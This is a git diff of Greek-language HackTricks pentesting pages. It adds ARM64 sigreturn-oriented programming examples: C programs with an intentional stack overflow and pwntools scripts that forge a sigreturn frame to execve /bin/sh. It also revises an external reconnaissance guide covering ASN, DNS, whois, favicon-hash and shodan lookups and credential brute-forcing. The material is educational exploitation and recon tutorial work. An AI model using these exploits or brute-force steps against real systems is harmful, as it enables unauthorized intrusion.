* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -8,31 +8,73 @@
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Κώδικας
## Παράδειγμα Pwntools
Αυτό το παράδειγμα δημιουργεί το ευάλωτο δυαδικό αρχείο και το εκμεταλλεύεται. Το δυαδικό **διαβάζει στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`**:
```python
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## παράδειγμα bof
### Κώδικας
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x0, #139; svc #0;");
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
int main(int argc, char **argv) {
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
@ -45,10 +87,6 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
## Εκμετάλλευση
Η εκμετάλλευση εκμεταλλεύεται το bof για να επιστρέψει στην κλήση του **`sigreturn`** και να προετοιμάσει τη στοίβα για να καλέσει το **`execve`** με ένα δείκτη προς το `/bin/sh`.
{% hint style="danger" %}
Για κάποιο λόγο που δεν γνωρίζω, η κλήση του **`sigreturn`** δεν κάνει τίποτα, οπότε δεν λειτουργεί.
{% endhint %}
```python
from pwn import *
@ -58,41 +96,109 @@ libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
print("/bin/sh in: " + hex(binsh))
stack_offset = 72
sigreturn = 0x00000000004006a0 # mov x0, #0x8b ; svc #0x0
svc_call = 0x00000000004006a4 # svc #0x0
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh # pointer to /bin/sh
frame.x1 = 0x4343434343434343 # NULL
frame.x2 = 0x0 # NULL
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += b"B" * len(bytes(frame))
with open("/tmp/i", "wb") as f:
f.write(payload)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
## παράδειγμα bof χωρίς sigreturn
### Κώδικας
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
```
## Εκμετάλλευση
Στην ενότητα **`vdso`** είναι δυνατό να βρεθεί ένα κάλεσμα στο **`sigreturn`** στη θέση μνήμης **`0x7b0`**:
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
Επομένως, αν διαρρεύσει, είναι δυνατό να **χρησιμοποιηθεί αυτή η διεύθυνση για πρόσβαση σε ένα `sigreturn`** αν το δυαδικό αρχείο δεν το φορτώνει:
```python
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Για περισσότερες πληροφορίες σχετικά με το vdso, ελέγξτε:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
Και για να παρακάμψετε τη διεύθυνση του `/bin/sh` μπορείτε να δημιουργήσετε αρκετές μεταβλητές περιβάλλοντος που να δείχνουν εκεί, για περισσότερες πληροφορίες:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -6,7 +6,7 @@
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακεύετε το αχακέυτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικού_).
@ -22,37 +22,37 @@
## Ανακαλύψεις Περιουσιακών Στοιχείων
> Σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία εμπίπτουν στο πεδίο εφαρμογής και θέλετε να καταλάβετε πραγματικά τι ανήκει σε αυτήν την εταιρεία.
> Σας είπαν ότι όλα όσα ανήκουν σε μια εταιρεία εμπίπτουν στο πεδίο εφαρμογής και θέλετε να διαπιστώσετε πραγματικά τι ανήκει σε αυτήν την εταιρεία.
Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλα τα **περιουσιακά στοιχεία** αυτών των εταιρειών. Για να το επιτύχουμε, θα πρέπει να:
Ο στόχος αυτής της φάσης είναι να αποκτήσουμε όλες τις **εταιρείες που ανήκουν στην κύρια εταιρεία** και στη συνέχεια όλα τα **περιουσιακά στοιχεία** αυτών των εταιρειών. Για να το επιτύχουμε, θα προχωρήσουμε στα εξής:
1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τα εύρη IP που ανήκουν σε κάθε εταιρεία.
3. Χρησιμοποιούμε αναστρεφόμενες αναζητήσεις whois για να αναζητήσουμε άλλες καταχωρήσεις (ονόματα οργανισμών, domains...) που σχετίζονται με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιούμε άλλες τεχνικές όπως τα shodan `org` και `ssl` φίλτρα για να αναζητήσουμε άλλα περιουσιακά στοιχεία (η τεχνική με το `ssl` μπορεί να γίνει αναδρομικά).
1. Βρείτε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρείτε το ASN (εάν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις IP εύρους που ανήκουν σε κάθε εταιρεία.
3. Χρησιμοποιήστε αναστρεφόμενες αναζητήσεις whois για να αναζητήσετε άλλες καταχωρήσεις (ονόματα οργανισμών, domains...) που σχετίζονται με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήστε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσετε άλλα περιουσιακά στοιχεία (η τεχνική με το `ssl` μπορεί να γίνει αναδρομικά).
### **Εξαγορές**
Καταρχάς, πρέπει να μάθουμε ποιες **άλλες εταιρείες ανήκουν στην κύρια εταιρεία**.\
Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **αναζητήστε** την **κύρια εταιρεία** και **κάντε κλικ** στο "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που αποκτήθηκαν από την κύρια.\
Μια επιλογή είναι να επισκεφθείτε το [https://www.crunchbase.com/](https://www.crunchbase.com), **αναζητήστε** την **κύρια εταιρεία** και **κάντε κλικ** στο "**εξαγορές**". Εκεί θα δείτε άλλες εταιρείες που έχουν εξαγοραστεί από την κύρια.\
Μια άλλη επιλογή είναι να επισκεφθείτε τη σελίδα **Wikipedia** της κύριας εταιρείας και να αναζητήσετε **εξαγορές**.
> Εντάξει, σε αυτό το σημείο πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς θα βρούμε τα περιουσιακά τους στοιχεία.
> Εντάξει, σε αυτό το σημείο πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς μπορούμε να βρούμε τα περιουσιακά τους στοιχεία.
### **ASNs**
Ένα αυτόνομο αριθμό συστήματος (**ASN**) είναι ένα **μοναδικό νούμερο** που ανατίθεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανατεθειμένων Αριθμών Διαδικτύου (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** διευθύνσεων **IP** που έχουν ορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικείται από μία μόνο οργάνωση αλλά μπορεί να αποτελείται από πολλούς χειριστές.
Ένα αυτόνομο αριθμό συστήματος (**ASN**) είναι ένα **μοναδικός αριθμός** που ανατίθεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανατεθειμένων Αριθμών Διαδικτύου (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** διευθύνσεων **IP** που έχουν οριστεί με σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από πολλούς φορείς.
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει ανατεθεί κάποιο ASN** για να βρούμε τα **εύρη IP** της. Θα ήταν ενδιαφέρον να πραγματοποιήσουμε ένα **τεστ ευπαθειών** εναντίον όλων των **οικοδεσποζόμενων** μέσα στο **πεδίο εφαρμογής** και να αναζητήσουμε **domains** μέσα σε αυτές τις IP.\
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με την **IP** ή με το **domain** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Ανάλογα με την περιοχή της εταιρείας αυτοί οι σύνδεσμοι μπορεί να είναι χρήσιμοι για να συγκεντρώσετε περισσότερα δεδομένα:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Πάντως, πιθανόν όλες οι** χρήσιμες πληροφορίες **(εύρη IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι μπορεί να είναι χρήσιμοι για να συγκεντρώσετε περισσότερα δεδομένα:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Πάντως, πιθανόν όλες οι** χρήσιμες πληροφορίες **(εύρη IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Επιπλέον, η υπο-ενότητα απαρίθμησης του [**BBOT**](https://github.com/blacklanternsecurity/bbot) συγκεντρώνει αυτόματα και περιλαμβάνει συνοπτικά τους ASNs στο τέλος της σάρωσης.
Επιπλέον, η υπο-κατηγοριοποίηση του [**BBOT**](https://github.com/blacklanternsecurity/bbot) αυτόματα συγκεντρώνει και περιλαμβάνει συνοπτικά τους ASNs στο τέλος της σάρωσης.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -69,14 +69,14 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
Μπορείτε να βρείτε τις εύρεσης IP ενός οργανισμού χρησιμοποιώντας επίσης [http://asnlookup.com/](http://asnlookup.com) (διαθέτει δωρεάν API).\
Μπορείτε να βρείτε την IP και το ASN ενός domain χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com).
Μπορείτε να βρείτε τις εύρεσης IP ενός οργανισμού χρησιμοποιώντας επίσης το [http://asnlookup.com/](http://asnlookup.com) (διαθέτει δωρεάν API).\
Μπορείτε να βρείτε την IP και το ASN ενός domain χρησιμοποιώντας το [http://ipv4info.com/](http://ipv4info.com).
### **Αναζήτηση ευπαθειών**
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου εφαρμογής**, οπότε αν σας επιτρέπεται μπορείτε να εκτελέσετε κάποιο **σαρωτή ευπαθειών** (Nessus, OpenVAS) σε όλους τους υπολογιστές.\
Επίσης, μπορείτε να εκτελέσετε κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με αυτό που βρείτε θα πρέπει** να εξετάσετε σε αυτό το βιβλίο πώς να εκτελέσετε ελέγχους ασφαλείας σε πιθανές υπηρεσίες που εκτελούνται.\
**Επίσης, μπορεί να αξίζει να αναφέρουμε ότι μπορείτε επίσης να ετοιμάσετε κάποιες** λίστες προεπιλεγμένων ονομάτων χρήστη **και** κωδικών πρόσβασης **και να δοκιμάσετε να** εκτελέσετε επίθεση με brute force σε υπηρεσίες με το [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου εφαρμογής**, οπότε αν σας επιτρέπεται μπορείτε να εκτελέσετε κάποιο **σαρωτή ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
Επίσης, μπορείτε να εκτελέσετε κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με αυτό που βρείτε θα πρέπει** να ϭρείτε σε αυτό το βιβλίο πώς να εκτελέσετε ελέγχους ασφαλείας σε πιθανές υπηρεσίες που εκτελούνται.\
**Επίσης, μπορεί να αξίζει να αναφέρουμε ότι μπορείτε επίσης να ετοιμάσετε κάποιες** λίστες προεπιλεγμένων ονομάτων χρήστη **και** κωδικών πρόσβασης **και να προσπαθήσετε να** κάνετε brute force σε υπηρεσίες με το [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domains
@ -86,9 +86,9 @@ _Παρακαλώ, σημειώστε ότι στις παρακάτω προτ
Καταρχάς, θα πρέπει να αναζητήσετε τον **κύριο domain**(s) κάθε εταιρείας. Για παράδειγμα, για την _Tesla Inc._ θα είναι το _tesla.com_.
### **Αντίστροφη αναζήτηση DNS**
### **Αντίστροφη DNS**
Αφού έχετε βρει όλες τις εύρεσης IP των domains μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτές τις **IPs για να βρείτε περισσότερα domains εντός του πεδίου εφαρμογής**. Προσπαθήστε να χρησιμοποιήσετε κάποιον διακομιστή DNS του θύματος ή κάποιον γνωστό διακομιστή DNS (1.1.1.1, 8.8.8.8)
Αφού έχετε βρει όλες τις εύρεσης IP των domains μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτά τα **IPs για να βρείτε περισσότερα domains εντός του πεδίου εφαρμογής**. Προσπαθήστε να χρησιμοποιήσετε κάποιον dns server του θύματος ή κάποιον γνωστό dns server (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -97,7 +97,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
### **Αντίστροφη Αναζήτηση Whois (loop)**
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως το **όνομα της οργάνωσης**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά ακόμα πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με βάση αυτά τα πεδία** (για παράδειγμα άλλα καταχωρημένα whois όπου εμφανίζεται το ίδιο email).\
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως το **όνομα της οργάνωσης**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά ακόμα πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με βάση αυτά τα πεδία** (για παράδειγμα άλλες καταχωρήσεις whois όπου εμφανίζεται το ίδιο email).\
Μπορείτε να χρησιμοποιήσετε online εργαλεία όπως:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν**
@ -109,14 +109,14 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
* [https://www.domainiq.com/](https://www.domainiq.com) - Όχι Δωρεάν
Μπορείτε να αυτοματοποιήσετε αυτήν την εργασία χρησιμοποιώντας το [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί ένα κλειδί API του whoxy).\
Μπορείτε επίσης να εκτελέσετε ορισμένες αυτόματες αναστροφές αναζητήσεις whois με το [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Μπορείτε επίσης να εκτελέσετε ορισμένες αυτόματες ανακαλύψεις αντίστροφης αναζήτησης whois με το [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα domain κάθε φορά που βρίσκετε ένα νέο domain.**
### **Trackers**
Αν βρείτε τον **ίδιο αριθμό ταυτοποίησης του ίδιου tracker** σε 2 διαφορετικές σελίδες, μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\
Για παράδειγμα, αν δείτε τον **ίδιο αριθμό ταυτοποίησης Google Analytics** ή τον **ίδιο αριθμό ταυτοποίησης Adsense** σε αρκετές σελίδες.
Για παράδειγμα, αν δείτε τον ίδιο **Google Analytics ID** ή τον ίδιο **Adsense ID** σε αρκετές σελίδες.
Υπάρχουν μερικές σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με βάση αυτούς τους trackers και περισσότερα:
@ -133,11 +133,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - ανακαλύψτε domains με τον ίδιο κατάλογο εικονιδίου favicon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - ανακαλύψτε domains με τον ίδιο κωδικό hash του εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Απλά ειπών, το favihash θα μας επιτρέψει να ανακαλύψουμε domains που έχουν τον ίδιο κατάλογο εικονιδίου favicon όπως το στόχος μας.
Απλά ειπών, το favihash θα μας επιτρέψει να ανακαλύψουμε domains που έχουν τον ίδιο κωδικό hash με το εικονίδιο favicon όπως το στόχο μας.
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας τον κατάλογο εικονιδίου favicon hash όπως εξηγείται στο [**αυτό το blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας τεχνολογίας ιστού** μπορείτε να αναζητήσετε αν υπάρχει στο shodan και **να βρείτε περισσότερα ευάλωτα σημεία**:
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας τον κωδικό hash του favicon όπως εξηγείται στο [**αυτό το blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε τον **hash του favicon μιας ευάλωτης έκδοσης μιας τεχνολογίας ιστού** μπορείτε να αναζητήσετε αν υπάρχει στο shodan και να **βρείτε περισσότερα ευάλωτα σημεία**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -156,29 +156,29 @@ return fhash
```
### **Πνευματική Ιδιοκτησία / Μοναδική συμβολοσειρά**
Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να κοινοποιούνται σε διαφορετικές ιστοσελίδες στον ίδιο οργανισμό**. Η **συμβολοσειρά πνευματικής ιδιοκτησίας** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια αναζητήστε αυτή τη συμβολοσειρά στο **Google**, σε άλλους **περιηγητές** ή ακόμη και στο **Shodan**: `shodan search http.html:"Συμβολοσειρά πνευματικής ιδιοκτησίας"`
Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να κοινοποιούνται σε διαφορετικές ιστοσελίδες στον ίδιο οργανισμό**. Η **συμβολοσειρά πνευματικής ιδιοκτησίας** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια αναζητήστε αυτήν τη συμβολοσειρά στο **Google**, σε άλλους **περιηγητές** ή ακόμη και στο **Shodan**: `shodan search http.html:"Συμβολοσειρά πνευματικής ιδιοκτησίας"`
### **Χρόνος CRT**
Είναι συνηθισμένο να υπάρχει ένας προγραμματισμένος εργασίας όπως
Είναι συνηθισμένο να υπάρχει ένας προγραμματισμένος εργασίας cron όπως
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### Μεθοδολογία εξωτερικής αναγνώρισης
